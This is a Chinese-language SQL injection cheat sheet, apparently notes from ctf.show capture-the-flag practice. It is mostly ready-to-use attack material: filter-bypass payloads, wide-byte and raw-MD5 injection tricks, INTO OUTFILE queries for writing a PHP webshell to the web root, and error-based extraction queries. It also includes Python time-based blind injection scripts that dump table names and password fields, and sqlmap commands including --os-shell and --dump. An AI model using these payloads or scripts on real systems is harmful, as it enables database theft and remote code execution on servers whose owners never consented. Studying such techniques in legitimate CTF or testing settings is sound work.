开头可能会用到的提醒

  • 如果空格被过滤，/**/ ` %0b(tab) %09(tab) %0d(回车) %0a(换行) %0c(换页)

  • 语句中 or 和 || 为同种意思

  • 测试有几位可以用order by [几位] 来测试，如果没报错说明位数包含，如果报错说明位数不包含

  • union select被过滤可以使用union all select

  • where不能用，使用having

  • 联合查询例子：select user,password from user where id=1 union select user,password from user where id=2

  • 把一个查询到的数据给hex或者base64，union select id,hex/to_base64(username),password from user where username=’flag’

  • base64加解密：to_base64(“”)/from_base64(“”)

  • 写入文件，union select 1,”“ into outfile ‘路径’

  • 读取文件 union select 1,load_file(‘/var/www/html/flag.php’),3

  • sql注入对后面的语句注释可以用%23 或 –+

  • 延时注入，如果读取文件，可以用load_file(‘文件名’)

  • 常见的闭合，’ “ ‘) “) ‘)) 空格

  • 宽字节注入漏洞， %df、%81、%E6、�均可绕过.问题代码 mysql_query(“SET NAMES gbk”);

  • 这几个字符串在md5加密后，放到hex十六进制中，生成的字符串带’，在部分场景可以闭合使用: ffifdyop | e58 | 4611686052576742364

  • 如果筛选条件的双引号和单引号无法使用，可以变为Hex代替。

    例如: select id from user union select group_concat(table_name) from information_schema.tables where table_schema=”sibei”;
    变为: select id from user union select group_concat(table_name) from information_schema.tables where table_schema=0x7369626569;

  • 反引号绕过，例如information_schema.tables和information_schema `tables`都可以使用

写Shell的几种方式

1：union select 写入
select * from stu where id=1 union select 1,2,’‘ into outfile ‘/var/www/html/1.php’– -

  1. lines terminated by 写入（在行末尾写入）
    select * from stu where id=1 into outfile ‘/var/www/html/1.php’ lines terminated by ‘‘– -

3.lines starting by 写入（在行头写入）
select * from stu where id=1 into outfile ‘/var/www/html/1.php’ lines starting by ‘‘– -

4.fields terminated by 写入（在每个字段后写入）
select * from stu where id=1 into outfile ‘/var/www/html/1.php’ fields terminated by ‘‘– -

5.columns terminated by 写入（在每个字段后写入）
select * from stu where id=1 into outfile ‘/var/www/html/1.php’ columns terminated by ‘‘– -

手工注入获取数据库等信息

  • 普通语句：schema_name——数据库名；table_name——表名；column_name——字段名；

    查数据库

  • 查询所有数据库(一行返回)： select group_concat(schema_name) from information_schema.schemata

  • 查询所有数据库：select schema_name from information_schema.schemata limit 0,1
    //limit 0,1 表示从查询，限制一行

  • 查询当前使用的数据库: select database()#

    查数据库中的表

  • 查询当前数据库所有的表：select table_name from information_schema.tables where table_schema=’数据库名’ limit 0,1#
    //limit 表示从第一个开始，一共返回一行

  • 查询当前数据库所有的表(一行返回): select group_concat(table_name) from information_schema.tables where table_schema=database()

  • 查询指定数据库所有的表(一行返回): select group_concat(table_name) from information_schema.tables where table_schema=’数据库名’

  • 查询所有数据库所有的表(一行返回): select group_concat(table_name) from information_schema.tables

    从表中查字段

  • 查询所有字段名：select column_name from information_schema.columns where table_name=’表名’ limit 0,1#
    //limit 0,1 表示从从第一个开始查，一共返回一行

  • 从表查询所有字段(一行返回)： select group_concat(column_name) from information_schema.columns where table_name=’表名’

    从字段查询所有数据

  • 从字段查询所有数据(一行返回): select group_concat(字段1,字段2) from 表名

  • 查询当前数据库字段内容：select * from 表名#

  • 查询指定数据库的表: select group_concat(字段名) from 数据库.表名

时间盲注专题

  • 原理: 可以执行sql语句，但是没有回显。那么可以用sql中的substr来检测有没有想要的字符，从而达到爆库
  • 语句拆分详细if(substr((放入sql查询语句),从哪开始找,一共找几位)=’substr结果是什么字符’,成功执行这个,失败执行这个)

各种盲注查询

找到当前的在用的数据库

select if(substr((select database()),1,1)=’s’,sleep(3),1);

找所有的表

select if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),需要找的下标,1)=’需要找的字符’,sleep(2),1)

找到表中所有的字段名称

select if(substr((select group_concat(column_name) from information_schema.columns where table_name=’你想看的表名’ and table_schema=database()),需要找的下标,1)=’你想找的字符’,sleep(3),1)

从字段中找到想要的数据

select if(substr((select group_concat(你想看的字段1,你想看的字段2) from 你想看的表名表名),需要找的下标,1)=’想要找的字符’,sleep(3),1);

例子脚本

重点:为什么要使用timeout，timeout是最大延迟时间，是客户端到服务器到客户端的，如果和延时注入的时间相同，那么延时了，是一定比timeout是一定不够的，所以会执行except
import requests

url = “http://1ffa162f-51a1-4516-9904-03b03f4d641e.challenge.ctf.show/index.php?action=check&username=“
payload = “”
end = “&password=1”
string = “}abcdefghljkimnopqrstuvwxyz0123456789,_-@{“

def get_tablename():

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ret = ''
for x in range(1, 10):
    for y in string:
        payload = "') union select if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',sleep(3),1)  --+".format(
            x, y)
        try:
            req = requests.get(url + payload + end, timeout=3)
        except:
            ret += y
            print(ret)

def get_columns():

1
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11
ret = ''
for x in range(1, 20):
    for y in string:
        payload = "') union select if(substr((select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema=database()),{},1)='{}',sleep(2),1) --+".format(
            x, y)
        try:
            #print(url + payload + end)
            req = requests.get(url + payload + end, timeout=2)
        except:
            ret += y
            print(ret)

def get_dump():

1
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11
ret = ''
for x in range(1, 50):
    for y in string:
        payload = "') union select if(substr((select group_concat(flag) from flag),{},1)='{}',sleep(2),1) --+".format(
            x, y)
        try:
            # print(url + payload + end)
            req = requests.get(url + payload + end, timeout=2)
        except:
            ret += y
            print(ret)

if name == ‘main‘:

1
2
3
4
5
6
# 获取表名
#get_tablename()
# 获取字段名
#get_columns()
#获取字段的列数据
get_dump()

自己写的脚本

import requests

url = “http://7f378bf4-ff73-43ee-98c8-781a38f926f1.challenge.ctf.show/api/v4.php?id=“

string = “}abcdefghijklmnopqrstuvwxyz,_0123456789-{“
if name == ‘main‘:

1
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30
result = ''
for i in range(1, 48):
    for j in string:
        # 获取当前所用的数据库数据库
        # end = " ' union select 'q',if(substr((select database()),{},1)='{}',sleep(5),1); --+".format(i, j)
        # 获取所有的数据库数据库
        # end = " ' union select 'q',if(substr((select group_concat(schema_name) from information_schema.schemata),{},1)='{}',sleep(5),1); --+".format(i, j)
 
        # ------------------------------------------------------------------------------#
 
        # 获取指定数据库的所有表
        # end = " ' union select 'q',if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}',sleep(5),1) --+".format(i, j)
 
        # ------------------------------------------------------------------------------#
 
        # 获取指定表中的字段名
        # end = " ' union select 'q',if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_user4'),{},1)='{}',sleep(5),1) --+ ".format(i, j)
 
        # ------------------------------------------------------------------------------#
 
        #获取指定数据库中的表中的所有字段下的数据
 
        end = "' union select 'q',if(substr((select group_concat(password) from ctfshow_web.ctfshow_user4),{},1)='{}',sleep(5),1) --+ ".format(i, j)
 
        try:
            req = requests.get(url + end, timeout=5)
        except:
            result += j
            print(f'[+] {result}')
            break

报错注入专题

两种报错注入，extractvalue 和 updatexml

select extractvalue(1,concat(0x7e,( 填入想执行的sql语句 ),0x7e))
select updatexml(1,concat(0x7e,( 填入想执行的sql语句 ),0x7e),1)
执行的sql语句参照本文开头记录的语句

Sqlmap使用

常用语句

列出当前数据库

cookie注入命令：sqlmap.py -u 注入点 –dbs

指定数据库猜表

Cookie注入命令：sqlmap.py -u 注入点 -D 数据库 –tables

猜字段

Cookie注入命令：sqlmap.py -u 注入点 -D 数据库 -T 表名 –columns

猜字段内容

Cookie注入命令：sqlmap.py -u 注入点 -D 数据库 -T 表名 -C “想破解的字段” –dump

常用参数

SQLMAP_使用文档(中文) .pdf

  • –os-shell 获取os交互式shell –sql-shell 获取sql交互式shell
  • –dbms=mysql 指定sql的数据库
  • –forms 提交表单测试
  • –batch 默认选项进行
  • sqlmap xxx –dbs 列出所有数据库
  • sqlmap xxx –D [数据库] –tables 列出该数据库的表名
  • sqlmap xx -D [数据库] –T [表名] –columns 列出素有字段
  • sqlmap xx -D [数据库] –T [表名] -C [字段] –dump 列出字段的所有内容
  • –user-agent=xxx 指定UA –referer=xxx 伪装referer
  • –data “id=1” 传参注入
  • –method=”PUT” 传参方式改变
  • –cookie=”xxx” 更改cookie
  • –safe-url=xxx 设置在测试目标地址前访问的安全链接 –safe-freq=次数 设置两次注入测试前访问安全链接的次数
  • –prefix=PREFIX 攻击载荷的前缀 –suffix=SUFFIX 攻击载荷的后缀
  • –tamper=[内置脚本] 选择内置脚本

案例

基础

select username,password from user where username !=’flag’ and id = ‘“.$_GET[‘id’].”‘ limit 1;
答案 传入999’ or id =’26

去掉空格成功执行的实例

select id,username,password from user where id=’111’union select’1’,(selectpasswordfromuserwhereid=’2’),3;

使用like绕过的实例

select id,username,password from user where username like ‘%fla%’;

使用group by xx筛选出列名出现次数 并且使用regexp匹配有没有关键词

select count(*) from user group by pass having pass regexp(0x xxxx);

  • 先将pass出现的个数有几种回显出来，然后使用regexp来匹配

如果一个数据使用了md5($_POST[‘password’],true);

//拼接sql语句查找指定ID用户
$sql = “select count(*) from ctfshow_user where username = ‘$username’ and password= ‘$password’”;
$username = $_POST[‘username’];
$password = md5($_POST[‘password’],true);

  • 当password传入ffifdyop,md5(“ffifdyop”,true)，返回的二进制存在’or’6，存在sql注入

sql语句，where后面的语句如果不使用单引号

select pass from ctfshow_user where username = 0;

  • 本句的username如果不用””，那么查询的时候会将所有数据回显